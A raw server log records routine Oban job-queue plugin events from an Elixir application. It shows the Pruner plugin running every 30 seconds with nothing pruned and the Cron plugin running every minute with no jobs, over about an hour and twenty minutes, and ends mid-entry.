[info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.421 [info] {"source":"oban","duration":3970,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:24.623 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:54.626 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.422 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:24.629 [info] {"source":"oban","duration":1687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:54.631 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.430 [info] {"source":"oban","duration":6288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:24.635 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:54.636 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.439 [info] {"source":"oban","duration":6866,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:24.642 [info] {"source":"oban","duration":4987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:54.644 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.443 [info] {"source":"oban","duration":2742,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:24.650 [info] {"source":"oban","duration":4646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:54.651 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.444 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:24.658 [info] {"source":"oban","duration":6617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:54.663 [info] {"source":"oban","duration":3800,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.447 [info] {"source":"oban","duration":1852,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:24.665 [info] {"source":"oban","duration":859,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:54.667 [info] {"source":"oban","duration":1048,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.449 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:24.669 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:54.672 [info] {"source":"oban","duration":1801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.451 [info] {"source":"oban","duration":889,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:24.674 [info] {"source":"oban","duration":781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:54.679 [info] {"source":"oban","duration":3647,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.459 [info] {"source":"oban","duration":6778,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:24.682 [info] {"source":"oban","duration":1597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:54.684 [info] {"source":"oban","duration":2345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.464 [info] {"source":"oban","duration":3830,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:24.692 [info] {"source":"oban","duration":4880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:54.694 [info] {"source":"oban","duration":1080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.466 [info] {"source":"oban","duration":765,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:24.709 [info] {"source":"oban","duration":12994,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:54.712 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.468 [info] {"source":"oban","duration":873,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:24.714 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:54.716 [info] {"source":"oban","duration":962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.471 [info] {"source":"oban","duration":1808,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:24.718 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:54.721 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.477 [info] {"source":"oban","duration":4197,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:24.723 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:54.725 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.480 [info] {"source":"oban","duration":1669,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:24.730 [info] {"source":"oban","duration":3669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:54.731 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.491 [info] {"source":"oban","duration":8386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:24.736 [info] {"source":"oban","duration":3268,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:54.738 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:00.495 [info] {"source":"oban","duration":3085,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:54:24.748 [info] {"source":"oban","duration":9535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:54.750 [info] {"source":"oban","duration":901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.499 [info] {"source":"oban","duration":2831,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:55:24.756 [info] {"source":"oban","duration":4904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:54.769 [info] {"source":"oban","duration":11695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.501 [info] {"source":"oban","duration":503,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:56:24.771 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:54.773 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.505 [info] {"source":"oban","duration":3639,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:57:24.777 [info] {"source":"oban","duration":2963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:54.779 [info] {"source":"oban","duration":770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.509 [info] {"source":"oban","duration":3094,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:58:24.782 [info] {"source":"oban","duration":2521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:54.784 [info] {"source":"oban","duration":883,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.510 [info] {"source":"oban","duration":349,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:59:24.788 [info] {"source":"oban","duration":2695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:54.790 [info] {"source":"oban","duration":921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:00.515 [info] {"source":"oban","duration":3976,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:00:24.794 [info] {"source":"oban","duration":2867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:54.796 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.520 [info] {"source":"oban","duration":4350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:01:24.798 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:54.807 [info] {"source":"oban","duration":7737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.521 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:02:24.809 [info] {"source":"oban","duration":1071,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:54.812 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.523 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:03:24.819 [info] {"source":"oban","duration":6011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:54.821 [info] {"source":"oban","duration":804,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.524 [info] {"source":"oban","duration":321,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:04:24.829 [info] {"source":"oban","duration":6617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:54.830 [info] {"source":"oban","duration":875,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:00.529 [info] {"source":"oban","duration":4267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:05:24.833 [info] {"source":"oban","duration":2080,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:05:54.836 [info] {"source":"oban","duration":1812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:00.530 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:06:24.839 [info] {"source":"oban","duration":2193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:06:54.841 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:00.533 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:07:24.845 [info] {"source":"oban","duration":3137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:07:54.847 [info] {"source":"oban","duration":936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:00.536 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:08:24.851 [info] {"source":"oban","duration":2329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:08:54.853 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:00.538 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:09:24.855 [info] {"source":"oban","duration":1056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:09:54.868 [info] {"source":"oban","duration":11103,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:00.542 [info] {"source":"oban","duration":1892,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:10:24.870 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:10:54.872 [info] {"source":"oban","duration":913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:00.543 [info] {"source":"oban","duration":295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:11:24.874 [info] {"source":"oban","duration":879,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:11:54.876 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:00.544 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:12:24.878 [info] {"source":"oban","duration":959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:12:54.880 [info] {"source":"oban","duration":881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:00.547 [info] {"source":"oban","duration":453,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:13:24.882 [info] {"source":"oban","duration":1365,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:13:54.885 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:00.552 [info] {"source":"oban","duration":3904,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:14:24.887 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:14:54.898 [info] {"source":"oban","duration":10229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:00.557 [info] {"source":"oban","duration":3486,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:15:24.901 [info] {"source":"oban","duration":899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:15:54.905 [info] {"source":"oban","duration":2952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:00.558 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:16:24.907 [info] {"source":"oban","duration":886,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:16:54.911 [info] {"source":"oban","duration":2601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:00.559 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:17:24.912 [info] {"source":"oban","duration":887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:17:54.915 [info] {"source":"oban","duration":1989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:00.562 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:18:24.923 [info] {"source":"oban","duration":7129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:18:54.926 [info] {"source":"oban","duration":2040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:00.564 [info] {"source":"oban","duration":514,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:19:24.929 [info] {"source":"oban","duration":2172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:19:54.932 [info] {"source":"oban","duration":2198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:00.567 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:20:24.934 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:20:54.936 [info] {"source":"oban","duration":892,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:00.571 [info] {"source":"oban","duration":3120,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:21:24.938 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:21:54.940 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:00.573 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:22:24.942 [info] {"source":"oban","duration":914,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:22:54.944 [info] {"source":"oban","duration":1254,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:00.577 [info] {"source":"oban","duration":2793,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:23:24.946 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:23:54.948 [info] {"source":"oban","duration":896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:00.578 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:24:24.950 [info] {"source":"oban","duration":1344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:24:54.952 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:00.585 [info] {"source":"oban","duration":6025,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:25:24.955 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:25:54.958 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.626 [info] {"source":"oban","duration":1166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:26:24.964 [info] {"source":"oban","duration":6248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:54.967 [info] {"source":"oban","duration":1724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.630 [info] {"source":"oban","duration":2652,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:27:24.969 [info] {"source":"oban","duration":1962,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:54.971 [info] {"source":"oban","duration":980,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.635 [info] {"source":"oban","duration":4587,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:28:24.974 [info] {"source":"oban","duration":2317,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:54.976 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.641 [info] {"source":"oban","duration":4735,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:29:24.979 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:54.981 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.643 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:30:24.986 [info] {"source":"oban","duration":4431,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:54.988 [info] {"source":"oban","duration":867,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.643 [info] {"source":"oban","duration":347,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:31:24.995 [info] {"source":"oban","duration":6005,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:55.001 [info] {"source":"oban","duration":5625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.644 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:32:25.003 [info] {"source":"oban","duration":951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:55.006 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.647 [info] {"source":"oban","duration":2559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:33:25.007 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:55.009 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.651 [info] {"source":"oban","duration":2975,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:34:25.011 [info] {"source":"oban","duration":1008,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:55.020 [info] {"source":"oban","duration":7871,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.652 [info] {"source":"oban","duration":438,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:35:25.022 [info] {"source":"oban","duration":903,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:55.030 [info] {"source":"oban","duration":7308,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.656 [info] {"source":"oban","duration":3485,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:36:25.035 [info] {"source":"oban","duration":3741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:55.039 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.657 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:37:25.044 [info] {"source":"oban","duration":4399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:55.046 [info] {"source":"oban","duration":880,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.661 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:38:25.053 [info] {"source":"oban","duration":6126,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:55.055 [info] {"source":"oban","duration":849,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.661 [info] {"source":"oban","duration":299,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:39:25.059 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:55.061 [info] {"source":"oban","duration":961,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.663 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:40:25.064 [info] {"source":"oban","duration":1844,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:55.071 [info] {"source":"oban","duration":6264,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.669 [info] {"source":"oban","duration":4326,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:41:25.078 [info] {"source":"oban","duration":5738,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:55.080 [info] {"source":"oban","duration":984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.671 [info] {"source":"oban","duration":1196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:42:25.084 [info] {"source":"oban","duration":2918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:55.086 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.676 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:43:25.088 [info] {"source":"oban","duration":876,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:55.090 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.681 [info] {"source":"oban","duration":3421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:44:25.092 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:55.100 [info] {"source":"oban","duration":6609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.683 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:45:25.104 [info] {"source":"oban","duration":4219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:55.106 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.685 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:46:25.111 [info] {"source":"oban","duration":3646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:55.112 [info] {"source":"oban","duration":989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.688 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:47:25.119 [info] {"source":"oban","duration":5864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:55.122 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.690 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:48:25.127 [info] {"source":"oban","duration":4050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:55.137 [info] {"source":"oban","duration":8402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.693 [info] {"source":"oban","duration":2679,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:49:25.147 [info] {"source":"oban","duration":9320,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:55.149 [info] {"source":"oban","duration":1220,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.696 [info] {"source":"oban","duration":2169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:50:25.152 [info] {"source":"oban","duration":2384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:55.154 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.699 [info] {"source":"oban","duration":2150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:51:25.156 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:55.159 [info] {"source":"oban","duration":2260,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.706 [info] {"source":"oban","duration":6137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:52:25.168 [info] {"source":"oban","duration":8389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:55.173 [info] {"source":"oban","duration":3695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.708 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:53:25.175 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:55.178 [info] {"source":"oban","duration":2231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.709 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:54:25.181 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:55.182 [info] {"source":"oban","duration":904,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.716 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 03:55:25.184 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:55.189 [info] {"source":"oban","duration":3751,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.719 [info] 